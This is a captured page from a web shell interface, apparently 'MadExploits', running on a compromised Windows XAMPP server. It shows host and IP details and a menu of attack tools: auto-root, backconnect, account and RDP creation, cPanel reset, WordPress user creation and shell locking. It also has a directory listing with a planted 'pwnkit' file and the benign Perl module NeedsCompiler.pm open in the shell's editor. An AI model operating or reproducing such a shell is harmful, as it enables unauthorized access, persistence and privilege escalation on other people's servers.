Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.51
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
lib /
Module /
CPANTS /
Kwalitee /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
BrokenInstaller.pm
4.86
KB
-rw-rw-rw-
CpantsErrors.pm
2.31
KB
-rw-rw-rw-
Distname.pm
1.91
KB
-rw-rw-rw-
Distros.pm
2.1
KB
-rw-rw-rw-
Files.pm
16.09
KB
-rw-rw-rw-
FindModules.pm
8.25
KB
-rw-rw-rw-
License.pm
9.3
KB
-rw-rw-rw-
Manifest.pm
4.21
KB
-rw-rw-rw-
MetaYML.pm
11.45
KB
-rw-rw-rw-
NeedsCompiler.pm
2.49
KB
-rw-rw-rw-
Pod.pm
6.47
KB
-rw-rw-rw-
Prereq.pm
11.04
KB
-rw-rw-rw-
Repackageable.pm
1.82
KB
-rw-rw-rw-
Signature.pm
1.42
KB
-rw-rw-rw-
Uses.pm
11.03
KB
-rw-rw-rw-
Version.pm
1.73
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NeedsCompiler.pm
package Module::CPANTS::Kwalitee::NeedsCompiler; use warnings; use strict; our $VERSION = '1.01'; $VERSION =~ s/_//; ## no critic sub order { 200 } ################################################################## # Analyse ################################################################## sub analyse { my $class = shift; my $me = shift; my $files = $me->d->{files_array}; foreach my $f (@$files) { if ($f =~ /\.[hc]$/i or $f =~ /\.xs$/i) { $me->d->{needs_compiler} = 1; return; } } if (defined ref($me->d->{prereq}) and ref($me->d->{prereq}) eq 'ARRAY') { for my $m (@{ $me->d->{prereq} }) { if ($m->{requires} =~ /^Inline::/ or $m->{requires} eq 'ExtUtils::CBuilder' or $m->{requires} eq 'ExtUtils::ParseXS') { $me->d->{needs_compiler} = 1; return; } } } return; } ################################################################## # Kwalitee Indicators ################################################################## sub kwalitee_indicators{ return [ ]; } q{Favourite compiler: gcc}; __END__ =encoding UTF-8 =head1 NAME Module::CPANTS::Kwalitee::NeedsCompiler - Checks if the module needs a (probably C) compiler =head1 SYNOPSIS Checks if there is some indication in the module that it needs a C compiler to build and install =head1 DESCRIPTION =head2 Methods =head3 order Defines the order in which Kwalitee tests should be run. Returns C<200>. =head3 analyse Checks for file with F<.c>, F<.h> or F<.xs> extensions. Check is the module depends on any of the Inline:: modules or on ExtUtils::CBuilder or ExtUtils::ParseXS. =head3 TODO: How to recognize cases such as https://metacpan.org/release/GAAS/Perl-API-0.01/ and https://metacpan.org/release/Term-Size-Perl that generate the .c files during installation In addition there are modules that can work without their XS part. E.g. Scalar-List-Utils, Net-DNS, Template-Toolkit For our purposes these all should be marked as "need C compiler" as they need it for their full functionality and speed. =head3 kwalitee_indicators No Kwalitee Indicator. =head1 SEE ALSO L<Module::CPANTS::Analyse> =head1 AUTHOR L<Gábor Szabó|https://metacpan.org/author/szabgab> =head1 COPYRIGHT AND LICENSE Copyright © 2006–2008 L<Gábor Szabó|https://metacpan.org/author/szabgab> You may use and distribute this module according to the same terms that Perl is distributed under.
Close